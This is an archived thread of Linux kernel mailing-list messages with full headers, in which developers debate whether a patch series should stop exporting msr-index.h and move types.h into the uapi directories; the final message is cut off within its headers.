Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: (no subject)
Date: Fri, 13 Jan 2017 15:43:49 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
        Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
        Kingdom.
        Registered in England and Wales under Company Registration No. 3798903
Lines: 9
Approved: news@gmane.org
Message-ID: <25483.1484322229@warthog.procyon.org.uk>
References: <1484304406-10820-5-git-send-email-nicolas.dichtel@6wind.com> <3131144.4Ej3KFWRbz@wuerfel> <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: blaine.gmane.org 1484322274 3117 195.159.176.226 (13 Jan 2017 15:44:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 15:44:34 +0000 (UTC)
Cc: dhowells@redhat.com, arnd@arndb.de, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arc
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Jan 13 16:44:27 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cS41h-00005h-7I
	for sgi-linux-mips@gmane.org; Fri, 13 Jan 2017 16:44:25 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:54676 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993942AbdAMPo2TDtsi (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 13 Jan 2017 16:44:28 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Jan 2017 16:44:10 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:55102 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S23993940AbdAMPoDsjzci (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 13 Jan 2017 16:44:03 +0100
Original-Received: from smtp.corp.redhat.com (int-mx16.intmail.prod.int.phx2.redhat.com [10.5.11.28])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 20D9E6A6D3;
        Fri, 13 Jan 2017 15:43:58 +0000 (UTC)
Original-Received: from warthog.procyon.org.uk (ovpn-116-28.rdu2.redhat.com [10.10.116.28])
        by smtp.corp.redhat.com (Postfix) with ESMTP id 0D8CD162012;
        Fri, 13 Jan 2017 15:43:50 +0000 (UTC)
In-Reply-To: <1484304406-10820-5-git-send-email-nicolas.dichtel@6wind.com>
Content-ID: <25482.1484322229.1@warthog.procyon.org.uk>
X-Scanned-By: MIMEDefang 2.74 on 10.5.11.28
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.28]); Fri, 13 Jan 2017 15:43:58 +0000 (UTC)
X-archive-position: 56304
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dhowells@redhat.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57472 gmane.linux.kbuild.devel:16316 gmane.linux.documentation:44308 gmane.linux.kernel:2387624 gmane.linux.ports.alpha:4043 gmane.linux.kernel.arc:2020 gmane.linux.ports.arm.kernel:550473 gmane.linux.ports.hexagon:1120 gmane.linux.ports.ia64:27606 gmane.linux.ports.m68k:9138 gmane.linux.kernel.metag:1243 gmane.linux.ports.parisc:27195 gmane.linux.ports.ppc64.devel:137285 gmane.linux.ports.sh.devel:55041 gmane.linux.ports.sparc:24400 gmane.linux.kernel.cross-arch:34800 gmane.comp.video.dri.devel:176239 gmane.linux.network:450060 gmane.linux.drivers.video-input-infrastructure:111918 gmane.linux.kernel.mmc:42242 gmane.comp.security.firewalls.netfilter.devel:66858 gmane.linux.nfs:81443 gmane.linux.raid:55382 gmane.linux.kernel.spi.devel:26116 gmane.linux.drivers.mtd:71341 gmane.linux.drivers.rdma:45588 gmane.linux.scsi.open-fcoe.devel:13025 gmane.linux.alsa.devel:163146
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57472>

> -header-y += msr-index.h

I see it on my desktop as /usr/include/asm/msr-index.h and it's been there at
least four years - and as such it's part of the UAPI.  I don't think you can
remove it unless you can guarantee there are no userspace users.

David



From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.alsa.devel,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 1/8] arm: put types.h in uapi
Date: Fri, 13 Jan 2017 17:01:01 +0100
Organization: 6WIND
Lines: 19
Approved: news@gmane.org
Message-ID: <4633e475-47f2-5627-81a9-a1747dfddbc0@6wind.com>
References: <1484304406-10820-2-git-send-email-nicolas.dichtel@6wind.com>
 <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
 <25063.1484321803@warthog.procyon.org.uk>
Reply-To: nicolas.dichtel@6wind.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1484323319 22067 195.159.176.226 (13 Jan 2017 16:01:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 16:01:59 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: arnd@arndb.de, linux-mips@linux-mips.org,
        linux-m68k@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-doc@vger.kernel.org, alsa-devel@alsa-project.org,
        dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
        sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
        linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
        linux@armlinux.org.uk, coreteam@netfilter.org,
        fcoe-devel@open-fcoe.org, xen-devel@lists.xenproject.org,
        linux-snps-arc@lists.infradead.org, linux-media@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-raid@vger.kernel.org,
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Jan 13 17:01:45 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cS4IK-0004F2-SF
	for sgi-linux-mips@gmane.org; Fri, 13 Jan 2017 17:01:36 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:55404 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993948AbdAMQBhbz7-i (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 13 Jan 2017 17:01:37 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Jan 2017 17:01:22 +0100 (CET)
Original-Received: from mail-lf0-x234.google.com ([IPv6:2a00:1450:4010:c07::234]:32927
        "EHLO mail-lf0-x234.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23993940AbdAMQBPiEmji (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 13 Jan 2017 17:01:15 +0100
Original-Received: by mail-lf0-x234.google.com with SMTP id k86so41055458lfi.0
        for <linux-mips@linux-mips.org>; Fri, 13 Jan 2017 08:01:15 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=6wind-com.20150623.gappssmtp.com; s=20150623;
        h=reply-to:subject:references:to:cc:from:organization:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=/zoqQ5rcLG0TI8EVzxtNvAGbwi8ruFdulRz8b1kAaC8=;
        b=XVwuAS+aWpgNFsxenrKe45/397TUcHI9uQWkMYvfEFRsizZdPFMgSyStMW3ilf/MzP
         C10bs38SegWOXuQnKt0IXPT3wSwq+o4DDIF4Z5ZyroL0tUjk8/7iWS8OdfmRUlkvdBqP
         tQr873yNPZ5yVM6+7vVk36Rq8N62go1UW2vMegGTtRwvQnAOG7HN6Is9EVLLewdLyTfR
         UcdycRTi5fx5BIprPS64ByZ89/Uqvic8M63Wu/JWBl0oIfOjuXLeVtSf8qVIW7ed/UTW
         DSnfENQ+3WszEne4Zr8T837cHl872dmXRfYxAdijga7YJ/cv7P4Q6u/Lmm25tg50Sy32
         uiPA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:reply-to:subject:references:to:cc:from
         :organization:message-id:date:user-agent:mime-version:in-reply-to
         :content-transfer-encoding;
        bh=/zoqQ5rcLG0TI8EVzxtNvAGbwi8ruFdulRz8b1kAaC8=;
        b=dPJy7rJ1jYjbpdjeX3Xf67w5ZiGGHoXEj1S1puOodT0N18kh8e7ITVs2bYAEXRCNKy
         /6AUpYKPEiVkP5IXgh+hV5DnucRjcodj2j0PAdYWUG5E2jmk+fx0hY3oPc90M+bTSl32
         jCyAx5d3g+bDI/nmbgRBKh0k7Aljs/cQJQcMOoWBuEXtYmaC6p3rlQjFxnigHau4iRs9
         XX/ZmzBvdiqK3YHJygs9gs352aLB2PcrsnquTptO5eIQuipRuiJcW9OmitjkvKMkHYf8
         pYWMNkqb/9LDeAiOEYyxzvyGITu7mafhX8rhNV58gnCyl+byghpos+OcoCg6T54X58lJ
         umRQ==
X-Gm-Message-State: AIkVDXKZ2brfmwTHN0bsbUfNKZDGvXKQ7FAUKhUKmJ8zN8+klDYmd3jsE3KHPXZXzWwf7oip
X-Received: by 10.25.169.82 with SMTP id s79mr6476425lfe.76.1484323268098;
        Fri, 13 Jan 2017 08:01:08 -0800 (PST)
Original-Received: from ?IPv6:2a01:e35:8b63:dc30:a59f:2d65:8857:f31? ([2a01:e35:8b63:dc30:a59f:2d65:8857:f31])
        by smtp.gmail.com with ESMTPSA id c66sm4102689ljd.44.2017.01.13.08.01.03
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 13 Jan 2017 08:01:07 -0800 (PST)
In-Reply-To: <25063.1484321803@warthog.procyon.org.uk>
X-archive-position: 56305
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: nicolas.dichtel@6wind.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57473 gmane.linux.ports.m68k:9139 gmane.linux.ports.ia64:27607 gmane.linux.documentation:44310 gmane.linux.alsa.devel:163147 gmane.comp.video.dri.devel:176240 gmane.linux.drivers.mtd:71342 gmane.linux.ports.sparc:24402 gmane.linux.kernel.cross-arch:34802 gmane.linux.drivers.rdma:45589 gmane.linux.ports.hexagon:1121 gmane.linux.ports.sh.devel:55042 gmane.linux.scsi.open-fcoe.devel:13026 gmane.linux.kernel.arc:2021 gmane.linux.drivers.video-input-infrastructure:111919 gmane.linux.kbuild.devel:16317 gmane.linux.raid:55383 gmane.linux.kernel.metag:1244 gmane.linux.ports.arm.kernel:550477 gmane.linux.nfs:81444 gmane.linux.ports.parisc:27196 gmane.linux.kernel.mmc:42244 gmane.linux.kernel:2387642 gmane.linux.kernel.spi.devel:26117 gmane.comp.security.firewalls.netfilter.devel:66860 gmane.linux.ports.alpha:4044 gmane.linux.ports.ppc64.devel:137286
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57473>

Please, do not remove the email subject when you reply. I restore it to ease the
thread follow-up.

Le 13/01/2017  16:36, David Howells a crit :
> Nicolas Dichtel <nicolas.dichtel@6wind.com> wrote:
> 
>> This header file is exported, thus move it to uapi.
> 
> Exported how?
It is listed in include/uapi/asm-generic/Kbuild.asm, which is included by
arch/arm/include/uapi/asm/Kbuild.

You can also have a look at patch #5 to see why it was exported even if it was
not in an uapi directory.

Regards,
Nicolas



From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: Re: [PATCH v3 4/8] x86: stop exporting msr-index.h to userland
Date: Fri, 13 Jan 2017 17:08:34 +0100
Organization: 6WIND
Lines: 14
Approved: news@gmane.org
Message-ID: <dd826bc7-e1ef-be29-e0c3-692afb346036@6wind.com>
References: <1484304406-10820-5-git-send-email-nicolas.dichtel@6wind.com>
 <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
 <25483.1484322229@warthog.procyon.org.uk>
Reply-To: nicolas.dichtel@6wind.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1484323740 16593 195.159.176.226 (13 Jan 2017 16:09:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 16:09:00 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: arnd@arndb.de, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org, dr
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-media-owner@vger.kernel.org Fri Jan 13 17:08:52 2017
Return-path: <linux-media-owner@vger.kernel.org>
Envelope-to: gldv-linux-media@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-media-owner@vger.kernel.org>)
	id 1cS4PJ-0003T4-V1
	for gldv-linux-media@m.gmane.org; Fri, 13 Jan 2017 17:08:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752043AbdAMQIv (ORCPT <rfc822;gldv-linux-media@m.gmane.org>);
        Fri, 13 Jan 2017 11:08:51 -0500
Original-Received: from mail-wm0-f41.google.com ([74.125.82.41]:38492 "EHLO
        mail-wm0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751323AbdAMQIo (ORCPT
        <rfc822;linux-media@vger.kernel.org>);
        Fri, 13 Jan 2017 11:08:44 -0500
Original-Received: by mail-wm0-f41.google.com with SMTP id r144so77386303wme.1
        for <linux-media@vger.kernel.org>; Fri, 13 Jan 2017 08:08:44 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=6wind-com.20150623.gappssmtp.com; s=20150623;
        h=reply-to:subject:references:to:cc:from:organization:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=Avg3is2joRsoOW1SoBexrSu2HFewlOZOKE9YrkazkLI=;
        b=fL4eZGCF2ZGuK8MA5HcRUAW+LfACU/iv9o7m2cMmr5OAMRnlyRsPSNNVf+6mJJ+vtF
         +gAEqK7eTn3Flx/yyFHnn5JJWtcqtva21uJ+Nc5AyKcdZ9ZDVL+BtUPxfUnzf0hrQrkk
         torjHWgSMBVyVGn0rxA7ePORLTwaGT+wFAvv4V9NFxcwbZbdnG3Rc3sBH6bURFmsykWC
         JSiP51qEScCDWiowcRL8imt6EiAewCrf/aM4AV48isAyGlne52kULARPugTpfuR+RXoz
         L16OETZ9u/FZH2v0+ZpW0l/3D/e+S8uNeNKfzzZeunMY61OP2ZhRxArszkkGLg305J/u
         ksBw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:reply-to:subject:references:to:cc:from
         :organization:message-id:date:user-agent:mime-version:in-reply-to
         :content-transfer-encoding;
        bh=Avg3is2joRsoOW1SoBexrSu2HFewlOZOKE9YrkazkLI=;
        b=EAsGYVbLoQc0AjMwPVwew/e2IB98RBe9ekBg8y7kxXYNYF+BVELml/wvk5C7pOqetW
         9znQtOcESoMLY3PL4JKY+Nh9GNZaXXaBnkLAGroYnWSxlu2lj/BztFqWIBe2KXAQfwdL
         T/iQOb8MEIWits0g7lzhskKdOqSw2oVh3Q38Hm1Vz1IZb2F9W9FVFhzXr7eVetn5HSFf
         N9ZvXsz/bsCMvq8CQJ1XQL98g3QRuXW7gPfwEGVUBroD9UB1UCT6VHai/YY7fhCX3nHx
         Hr2QHy6XofDkN0RC4uIoOtR6KR40sehOjoEyOdsWpC78xEQV2dJ0uf1mlHtF5yvytGP6
         idIQ==
X-Gm-Message-State: AIkVDXIiB3KsCJDB1XpAnafx8td2xCmwAAIVogR0Xvru+1yc9TJp7MkINAEF/Pzs2wyw15qz
X-Received: by 10.28.213.193 with SMTP id m184mr3013217wmg.28.1484323723088;
        Fri, 13 Jan 2017 08:08:43 -0800 (PST)
Original-Received: from ?IPv6:2a01:e35:8b63:dc30:a59f:2d65:8857:f31? ([2a01:e35:8b63:dc30:a59f:2d65:8857:f31])
        by smtp.gmail.com with ESMTPSA id d199sm5503933wmd.0.2017.01.13.08.08.36
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 13 Jan 2017 08:08:42 -0800 (PST)
In-Reply-To: <25483.1484322229@warthog.procyon.org.uk>
Original-Sender: linux-media-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-media.vger.kernel.org>
X-Mailing-List: linux-media@vger.kernel.org
Xref: news.gmane.org gmane.linux.drivers.video-input-infrastructure:111920 gmane.linux.kbuild.devel:16318 gmane.linux.documentation:44311 gmane.linux.kernel:2387658 gmane.linux.ports.alpha:4045 gmane.linux.kernel.arc:2022 gmane.linux.ports.arm.kernel:550489 gmane.linux.ports.hexagon:1122 gmane.linux.ports.ia64:27608 gmane.linux.ports.m68k:9140 gmane.linux.kernel.metag:1245 gmane.linux.ports.mips.general:57474 gmane.linux.ports.parisc:27197 gmane.linux.ports.ppc64.devel:137287 gmane.linux.ports.sh.devel:55043 gmane.linux.ports.sparc:24403 gmane.linux.kernel.cross-arch:34803 gmane.comp.video.dri.devel:176241 gmane.linux.network:450064 gmane.linux.kernel.mmc:42245 gmane.comp.security.firewalls.netfilter.devel:66861 gmane.linux.nfs:81445 gmane.linux.raid:55384 gmane.linux.kernel.spi.devel:26118 gmane.linux.drivers.mtd:71343 gmane.linux.drivers.rdma:45590 gmane.linux.scsi.open-fcoe.devel:13027 gmane.linux.alsa.devel:163148
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.video-input-infrastructure/111920>

Le 13/01/2017  16:43, David Howells a crit :
>> -header-y += msr-index.h
> 
> I see it on my desktop as /usr/include/asm/msr-index.h and it's been there at
> least four years - and as such it's part of the UAPI.  I don't think you can
> remove it unless you can guarantee there are no userspace users.
I keep it in the v2 of the series, but the maintainer, Borislav Petkov, asks me
to un-export it.

I will follow the maintainer decision.


Regards,
Nicolas

From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.alsa.devel,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 1/8] arm: put types.h in uapi
Date: Fri, 13 Jan 2017 16:19:52 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <20170113161951.GT14217@n2100.armlinux.org.uk>
References: <1484304406-10820-2-git-send-email-nicolas.dichtel@6wind.com>
 <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
 <25063.1484321803@warthog.procyon.org.uk>
 <4633e475-47f2-5627-81a9-a1747dfddbc0@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1484324433 3827 195.159.176.226 (13 Jan 2017 16:20:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 16:20:33 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: David Howells <dhowells@redhat.com>, arnd@arndb.de,
        linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
        alsa-devel@alsa-project.org, dri-devel@lists.freedesktop.org,
        linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
        linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
        linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
        linux-sh@vger.kernel.org, coreteam@netfilter.org,
        fcoe-devel@open-fcoe.org, xen-devel@lists.xenproject.org,
        linux-snps-arc@lists.infradead.org, linux-media@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-raid@vg
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-hexagon-owner@vger.kernel.org Fri Jan 13 17:20:25 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1cS4aR-0007Vt-Qz
	for glphk-linux-hexagon@m.gmane.org; Fri, 13 Jan 2017 17:20:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751439AbdAMQUY (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Fri, 13 Jan 2017 11:20:24 -0500
Original-Received: from pandora.armlinux.org.uk ([78.32.30.218]:48112 "EHLO
        pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751036AbdAMQUX (ORCPT
        <rfc822;linux-hexagon@vger.kernel.org>);
        Fri, 13 Jan 2017 11:20:23 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=armlinux.org.uk; s=pandora-2014;
        h=Sender:In-Reply-To:Content-Transfer-Encoding:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=dH2voTm+gO6KRQro838IzHxs/0jd4Gc+XsxY9OcBZqM=;
